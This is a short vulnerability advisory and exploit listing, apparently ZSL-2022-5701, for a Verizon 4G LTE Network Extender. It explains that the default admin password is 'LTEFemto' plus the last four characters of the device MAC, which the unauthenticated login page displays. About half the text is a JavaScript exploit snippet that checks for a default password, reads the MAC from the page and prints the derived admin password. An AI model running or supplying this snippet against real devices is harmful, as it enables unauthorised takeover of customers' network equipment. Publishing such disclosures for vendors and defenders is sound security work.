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67 lines
No EOL
2 KiB
Text
67 lines
No EOL
2 KiB
Text
Exploit Title: Verizon 4G LTE Network Extender - Weak Credentials Algorithm
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Exploit Author: LiquidWorm
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Vendor: Verizon Communications Inc.
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Product web page: https://www.verizon.com
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Affected version: GA4.38 - V0.4.038.2131
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Summary: An LTE Network Extender enhances your indoor and 4G
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LTE data and voice coverage to provide better service for your
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4G LTE mobile devices. It's an extension of our 4G LTE network
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that's placed directly in your home or office. The LTE Network
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Extender works with all Verizon-sold 4G LTE mobile devices for
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4G LTE data service and HD Voice-capable 4G LTE devices for voice
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service. This easy-to-install device operates like a miniature
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cell tower that plugs into your existing high-speed broadband
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connection to communicate with the Verizon wireless network.
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Desc: Verizon's 4G LTE Network Extender is utilising a weak
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default admin password generation algorithm. The password is
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generated using the last 4 values from device's MAC address
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which is disclosed on the main webUI login page to an unauthenticated
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attacker. The values are then concatenated with the string
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'LTEFemto' resulting in something like 'LTEFemtoD080' as the
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default Admin password.
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Tested on: lighttpd-web
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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@zeroscience
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Advisory ID: ZSL-2022-5701
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Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php
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17.02.2022
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--
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snippet:///Exploit
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//
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// Verizon 4G LTE Network Extender Super Awesome JS Exploit
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//
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console.log("Calling 'isDefaultPassword' API");
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let req = new Request("/webapi/isDefaultPassword");
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let def = req.url;
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const doAjax = async () => {
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const resp = await fetch(def);
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if (resp.ok) {
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const jsonyo = await resp.json();
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return Promise.resolve(jsonyo);
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} else {
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return Promise.reject("Smth not rite captain!");
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}
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}
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doAjax().then(console.log).catch(console.log);
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await new Promise(t => setTimeout(t, 1337));
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console.log("Verizon Admin Password: ");
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let mac = document.querySelector("#mac_address").innerHTML;
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console.log("LTEFemto" + mac.substr(-4)); |